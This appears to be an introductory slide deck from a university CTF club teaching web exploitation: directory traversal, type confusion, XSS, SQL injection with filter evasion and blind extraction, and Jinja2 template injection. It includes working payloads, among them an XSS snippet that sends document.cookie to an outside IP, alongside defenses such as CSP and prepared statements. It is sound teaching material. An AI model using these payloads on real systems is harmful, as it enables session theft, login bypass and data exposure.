1 of 86

Introduction to

Web Exploitation

Matthew Savage

@bluepichu

Zach Wade

@zwad3

Carolina Zarate

@zaratec4

2 of 86

Thank You

3 of 86

Today’s Topics

  • Who are we?
  • Web Application Structure
  • Directory Traversal
  • Type Confusion
  • Cross-site Scripting (XSS)
  • SQL Injection

4 of 86

What is PPP?

https://lists.andrew.cmu.edu/mailman/listinfo/plaid-parliament-pwning

5 of 86

What are CTFs?

Security competitions where the goal is to find a hidden flag 🏁

flag{you_f0und_m3!}

  • Different styles
    • Attack-defense: attack others, defend yourself
    • Jeopardy: different categories, different point values
  • Different skills
    • Binary exploitation, reverse engineering, crypto, forensics, ...
    • … and web exploitation!

6 of 86

What is web security?

7 of 86

Web Security in Four Words:

Don’t trust user input.

8 of 86

Get Pwning

http://problems.getpwning.com:8000/

9 of 86

Web Application Structure

10 of 86

Client: Runs code locally in your browser

Reverse Proxy: Determines to which server the client connects

Server: Hosts the main application logic

Database: Stores application and user data

Client

Server B

Server C

Server A

Reverse

Proxy

Database

11 of 86

Directory Traversal

12 of 86

Directory Traversal

  • Our goal is to get more information than is presented to a client
  • In this case, we learn what is on the server
  • Two main methods: static and dynamic

13 of 86

Directory Traversal Âť Static

http://chal.ctf.io:1337/secure/default.php

14 of 86

Directory Traversal Âť Static

If we’re lucky, this will get us an index!

http://chal.ctf.io:1337/secure/default.php

15 of 86

Directory Traversal Âť Static

Don’t forget to check this too!

If we’re lucky, this will get us an index!

http://chal.ctf.io:1337/secure/default.php

16 of 86

Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=hello.png

17 of 86

Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=hello.png

18 of 86

Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=../flag.txt

19 of 86

Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=../../../../../../etc/passwd

This is fun, but what if we want to know what the server is doing?

20 of 86

Directory Traversal Âť Dynamic

http://chal.ctf.io:1337/getimage.php?img=../getimage.php

Now things are getting interesting...

21 of 86

Directory Traversal Âť Get Pwning

http://problems.getpwning.com:8000/lfi

22 of 86

Type Confusion

23 of 86

Type Confusion

Question: How do we attack servers?

  • Logic bugs
    • No standard way of finding these other than reading the code
  • SSRF
    • A technique for convincing the server to speak with other services
    • Cool, but complicated
  • Type Confusion
    • When servers assume data looks a certain way, they make mistakes

24 of 86

Type Confusion Âť Parameter Abuse

  • Servers sometimes act strangely if we specify the same GET parameter multiple times

http://target.site.com/login.php?user=myuser

$GET[“user”] → “myuser” (a string)

25 of 86

Type Confusion Âť Parameter Abuse

  • Servers sometimes act strangely if we specify the same GET parameter multiple times

http://target.site.com/login.php?user=myuser&user=admin

$GET[“user”] → [“myuser”, “admin”] (an array)

26 of 86

Type Confusion Âť Parameter Abuse

  • Many servers also automatically expand arrays and objects specified via get parameters

http://target.site.com/array.js?arg[0]=0&arg[1]=1&arg[2]=2

req.params.arg → [“0”, “1”, “2”] (an array)

27 of 86

Type Confusion Âť Parameter Abuse

  • Many servers also automatically expand arrays and objects specified via get parameters

http://target.site.com/object.js?obj[key1]=value1&obj[key2]=value2

req.params.obj → {key1: “value1”, key2: “value2”} (an object)

28 of 86

Type Confusion Âť Loose Equality

  • Weakly-typed languages often have weird behaviour when comparing values of different types
  • Which of these are true? (Javascript)
    • 4 + "4" == 8
    • 4 * "4" == 16
    • [0] == ![0]
    • [1] == ![1]
    • Array.isArray `test`
    • Array.isArray(`test`)
    • {} + [] == {} + []

false

true

true

false

true

false

false

29 of 86

Type Confusion Âť Loose Equality

  • Weakly-typed languages often have weird behaviour when comparing values of different types
  • What does this print?
    • $a = “5d9”; $a++; $a++; echo $a;

30 of 86

Type Confusion Âť Loose Equality

  • Weakly-typed languages often have weird behaviour when comparing values of different types
  • What does this print?
    • $a = “5d9”; $a++; $a++; echo $a;
    • “5d9” “5e0” “6”

31 of 86

Type Confusion Âť Get Pwning

http://problems.getpwning.com:8000/type

32 of 86

Cross-Site Scripting (XSS)

33 of 86

Cross-Site Scripting (XSS)

  • Attacking servers is nice, but sometimes we want to attack the users instead
    • Steal credentials (in particular, cookies)
    • Access private computers
  • Many of the things we might want to have a client do are exposed via Javascript
    • Making external web requests
    • Sending cookies

34 of 86

Cross-Site Scripting (XSS) Âť Cookies

  • Cookies store persistent information
    • Usually for authentication
    • Sometimes for secrets

client> Please log me in as zaratec

Sure. Store the value token=xyz so I know who you are <server

client> Ok, now get me /mypage. I am zaratec and my token is xyz

Yep, I know you must be zaratec. Here’s her page <server

35 of 86

Cross-Site Scripting (XSS) Âť Finding Injections

  • Short Version
    • Copy and Paste <script>alert(1)</script> into every text box
    • Want our text input placed directly in the resulting page
  • Look for unsanitized input
    • Example sanitization: Replacing < with &lt; and > with &gt;
    • We want places where our input is injected directly
  • No Script? No Problem
    • <img src="1" onerror="alert(1)"/>

36 of 86

Cross-Site Scripting (XSS) Âť If we had control...

Send Credentials (Cookies)

<script>

fetch(`http://1.2.3.4/?${document.cookie}`)

</script>

Make a Request

<script>

fetch(“/reset-password.php”, {

method: “POST”,

headers: {

“Content-Type”: “x-www-form-urlencoded”

},

body: “new_pass=zachpwn&confirm=true”,

})

</script>

37 of 86

Cross-Site Scripting (XSS) Âť The Two Types

Reflected XSS

Unsanitized user input is returned immediately without being stored on the target

  • Generally easier to find
  • Useful for targeted attacks

Persistent XSS

Unsanitized user input is stored in a database and is seen by everyone who visits the page

  • Generally harder to find
  • Useful for attacking all visitors

38 of 86

Cross-Site Scripting (XSS) Âť CSP

Content Security Policy (CSP) is used to mitigate XSS attacks

  • Usually only want specific resources (images, javascript, etc)
  • CSP directives limit where those resources can come from
    • none: Blacklist this resource
    • self: Whitelist the current website
    • http://example.com: Whitelist example.com
  • Mix and match directives!

39 of 86

Cross-Site Scripting (XSS) Âť Get Pwning

http://problems.getpwning.com:8000/xss

40 of 86

SQL Injection

41 of 86

SQL Injection

At this point, we’ve attacked:

  • Reverse Proxies (Directory Traversal)
  • Servers (LFI)
  • Clients (XSS)

What’s left? Databases!

42 of 86

SQL Injection Âť Example Queries

INSERT INTO Users (username, password) VALUES ('zwad3', 'zachpwn')

SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'

UPDATE Users SET password = 'greatpasswdm8' WHERE username = 'zwad3'

43 of 86

SQL Injection Âť Breaking out of SELECT

SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'

44 of 86

SQL Injection Âť Breaking out of SELECT

SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'

zwad3

zachpwn

45 of 86

SQL Injection Âť Breaking out of SELECT

SELECT * FROM Users WHERE username = '' hi' AND password = 'zachpwn'

If we’re lucky, the server sends an error back to the client.

If we’re luckier, that error contains the source query.

' hi

zachpwn

46 of 86

SQL Injection Âť Breaking out of SELECT

SELECT * FROM Users WHERE username = '' -- ' AND password = 'zachpwn'

' --

zachpwn

47 of 86

SQL Injection Âť Breaking out of SELECT

SELECT * FROM Users WHERE username = '' OR 1 = 1-- ...

Depending on how the server was written, this might log us in as the first user.

' OR 1 = 1--

48 of 86

SQL Injection Âť Breaking out of SELECT

SELECT * FROM Users WHERE username = '' OR 1 = 1 LIMIT 1-- ...

This should log us in as the first user.

' OR 1 = 1 LIMIT 1--

49 of 86

SQL Injection Âť Breaking out of SELECT

SELECT * FROM Users WHERE username = '' UNION SELECT 'const', 'val'-- ...

This can help us figure out how many columns the Users table has.

' UNION SELECT 'const', 'val'--

50 of 86

SQL Injection Âť Security Antipatterns: Filtering

SELECT * FROM Users WHERE username = '' UNION SELECT 'const', 'val'-- ...

It looks like this quote is causing the problem. Why don’t we filter out quotes?

' UNION SELECT 'const', 'val'--

51 of 86

SQL Injection Âť Evading Filters

SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '

\

OR 1=1--

52 of 86

SQL Injection Âť Evading Filters

SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '

Ok, that’s not enough. We’ll also remove the word “OR”.

\

OR 1=1--

53 of 86

SQL Injection Âť Evading Filters

SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '

OORR 1=1--

OR 1=1--

\

54 of 86

SQL Injection Âť Evading Filters

SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '

OORR 1=1--

OR 1=1--

\

55 of 86

SQL Injection Âť Secure SQL Queries

  • Building SQL queries “by hand” is prone to security holes
    • If you see this in a problem, be suspicious
  • Secure designs generally use prepared statements

$s = $db->prepare(“SELECT * FROM Users WHERE username = ? and password = ?”);

$s->execute(array(“zach”, “zachpwn”));

56 of 86

SQL Injection Âť Blind SQL Injection

  • Everything we just did, but without any output if the query is invalid
  • Most injection problems will be at least partially blind
  • Generally need to guess if injection is possible and how to do it
    • Try injections on common query structures (for example, the structure we’ve been examining)
    • Add delays to the computation (through SLEEP or similar methods)

57 of 86

SQL Injection Âť Blind SQL Injection

If we only have a yes or no result, we have to be more clever

  • We can go character by character to search for data

SELECT * FROM users WHERE username='' OR username LIKE 'a%'; -- '

  • Use binary search to speed up the process

SELECT * FROM users WHERE username='' OR SUBSTRING(username, 1, 1) < 'm'; -- '

58 of 86

SQL Injection Âť Get Pwning

http://problems.getpwning.com:8000/sql

59 of 86

Mini-CTF

60 of 86

Instructions

  1. Form groups of three
  2. Make an account at getpwning.com or problems.getpwning.com
  3. Work together, solve challenges, and get flags!
  4. Come to "office hours"!
    • We're here to help if you get stuck, need clarification, or want to learn something new. 😃

61 of 86

Want to Learn More?

PPP

  • Fridays 5pm @ CIC 1201
  • https://lists.andrew.cmu.edu/mailman/listinfo/plaid-parliament-pwning

Practice

  • Google XSS Game
  • Damn Vulnerable Web App
  • Google Gruyere
  • HackThisSite
  • bWAPP
  • WebGoat
  • Hacker 101 CTF
  • Webhacking.kr
  • Websec.fr

62 of 86

Web Languages

63 of 86

Survey of Forms

Typical Server Languages

  • PHP
  • Python
  • JavaScript
  • Ruby
  • Bash

64 of 86

Server Languages Âť PHP

  • PHP Hyper Processing (PHP)
    • Yes, it’s one of those
  • PHP is not a server
    • It is a server scripting language
    • Can render webpages and such, but does not handle any of the networking
    • Relies on Apache, Nginx, or some other frontend to capture that for it
  • Embeds the server script into the client script
    • Sounds cool, until you try to write anything secure in it

65 of 86

Server Languages Âť PHP (Example Program)

<html>� <body>� <div class=’header’><?php echo get_header_value(); ?></div>� <div class=’content’>�<?php�$pages = db_get_pages();�foreach ($pages as $page) {� echo “<a href=’{$page[0]}’>{$page[1]}</a>”;�}�include ‘body.php’;�?>� <div class=’footer’>Thanks for coming!</div>� </body>�</html>

66 of 86

Server Languages Âť PHP

  • What’s good about this method
    • Not a lot of overhead
    • Easy to draft a quick server without knowing much about networking
    • Easy to see the relationship between client and server

67 of 86

Server Languages Âť PHP

  • What’s good about this method
    • Not a lot of overhead
    • Easy to draft a quick server without knowing much about networking
    • Easy to see the relationship between client and server
  • What’s wrong with this method
    • Essentially doing string replacement on your client code
    • Easy to make a server without knowing what you’re doing
    • There isn’t a clear delineation between client and server

68 of 86

Server Languages Âť PHP

Because PHP is such a poorly designed language, there are a number of things to look for as potential vulnerabilities

  • XSS-able string replacements
  • LFI from http:// vs. file:// ambiguity
  • SQL Injection from building SQL strings
  • Logical Errors (filters, implicit type casting, poor error handling, etc.)

(Basically, PHP is the kitchen sink of vulnerabilities)

69 of 86

Server Languages Âť Python

Servers, in my Python? � ...It’s more common than you think!

  • Python has only very simple HTTP capabilities
    • HTTPServer is a subclass of TCPServer, and can handle basic requests and response
  • Most servers are written using a more fully featured library
    • Flask
    • Django

70 of 86

Server Languages Âť Python (Example Program)

from flask import Flask, send_from_directory�app = Flask(__name__)��@app.route(‘/<path:path>’)�def send_file(path):� return send_from_directory(‘/assets’, path)�@app.route(‘/’)�def hello_world():� return “<h1>Hello World</h1>”�app.run(host=’0.0.0.0’, port=1234)

71 of 86

Server Languages Âť Python

Python Servers tend to be

  • More powerful
    • Server side templating, complex database queries, and much more
  • More modular
    • Python’s mature module system makes it easier to break a server in many parts
  • More complicated
    • Not quite as simple as PHP, but generally more secure

72 of 86

Server Languages Âť Python

Among the most common security vulnerabilities in Python, because of its maturity as a language, is template injection

  • Results from improperly using jinja2
    • It will automatically pull variables in from the global environment
  • Allows you to exfiltrate data from the program’s scope
    • __name__, __file__, FLAG, etc.

73 of 86

Server Languages Âť Python (Template Injection)

Correct Templating:

template = “The template should be a {{ opt1 }} or a {{ opt2 }}. {{ userinp }}”�render_template_string(template, opt1=”file”, opt2=”static string”, userinp=???)

74 of 86

Server Languages Âť Python (Template Injection)

Incorrect Templating:

template = “The template should be a {{ opt1 }} or a {{ opt2 }}. %userinp”�render_template_string(template % ???, opt1=”file”, opt2=”static string”)

75 of 86

Server Languages Âť Python (Template Injection)

Incorrect Templating:

template = “The template should be a {{ opt1 }} or a {{ opt2 }}. %userinp”�render_template_string(template % ???, opt1=”file”, opt2=”static string”)

76 of 86

Server Languages Âť Python (Template Injection)

What if userinp = “{{ opt1 }}”?

Then opt1 is rendered twice...

77 of 86

Server Languages Âť Python (Template Injection)

What if userinp = “{{ request.environ['werkzeug.server.shutdown']() }}”?

Then that becomes a lot worse

78 of 86

Server Languages Âť Python (Template Injection)

What does template injection give us

  • Access to jinja2 globals
    • You can read what’s in here in the documentation
  • Access (sometimes) to Flask globals
    • This includes the config object, which has functions likeďż˝from_object which lets you import an object into the config
    • Once we do that, we have access to the object

79 of 86

Server Languages Âť Ruby

  • Not super popular for CTF problems
  • Strange language-specific bugs
    • Example: If you can read an arbitrary file, you can execute anything you want using a pipe (“|”)

80 of 86

Server Languages Âť Node.js

  • Not popular yet, but catching on
  • Comparatively safe (lots of security-related updates, good design patterns)

81 of 86

WEB-251:

Great Not-So-Theoretical

Ideas in Web Exploitation

82 of 86

WEB-251 Âť Overview of HTTP

  • Hypertext Transfer Protocol (HTTP)
  • Used for transmitting content across the web
  • Operates over TCP
  • Two Parts
    • Headers
    • Body
  • Different Operations — Methods
    • Post, Get, Put, Delete, etc.

83 of 86

WEB-251 Âť Example HTTP Request

GET /test.png HTTP/1.1�Host: ctf.site.io�Accept: text/html,application/xhtml+xml,application/xml�Cookie: acct=t=rB7KuUIZMGBz5%2bSf4%2b6FD1ccjBmuEn�Referrer: google.com

84 of 86

WEB-251 Âť Example HTTP Response

GET /test.png HTTP/1.1�Host: ctf.site.io�Accept: text/html,application/xhtml+xml,application/xml�Cookie: acct=t=rB7KuUIZMGBz5%2bSf4%2b6FD1ccjBmuEn�Referrer: google.com

HTTP 200 Ok�Date: Fri, 18 Nov 2016 21:42:32 GMT�Content-Length: 29661�Content-Type: text/html��<html><head><link rel=’stylesheet’ href=’/styles.css’></head>�<body>....�

85 of 86

WEB-251 Âť Helpful Headers

  • HTTP requests and responses contain headers with a variety of important content
  • Clients have control over request headers, and therefore request headers constitute another attack vector
    • Example: X-Forwarded-For
  • Server-controlled response headers may contain extra information that can be helpful in attacking them
    • Example: X-Powered-By

86 of 86

WEB-251 Âť Timing Attacks

  • Response content isn’t the only information we get from the server!
  • In particular, we can also learn a lot from its response times
    • For example, comparing “abcdefghijkl” with “abcdefgxxxx” will, in most implementations, take longer than comparing it with “xxxxxxxx”
  • Random noise makes it hard to use this to our advantage unless we can purposely make the server take longer in certain scenarios
    • Directly sleeping
    • Regex explosion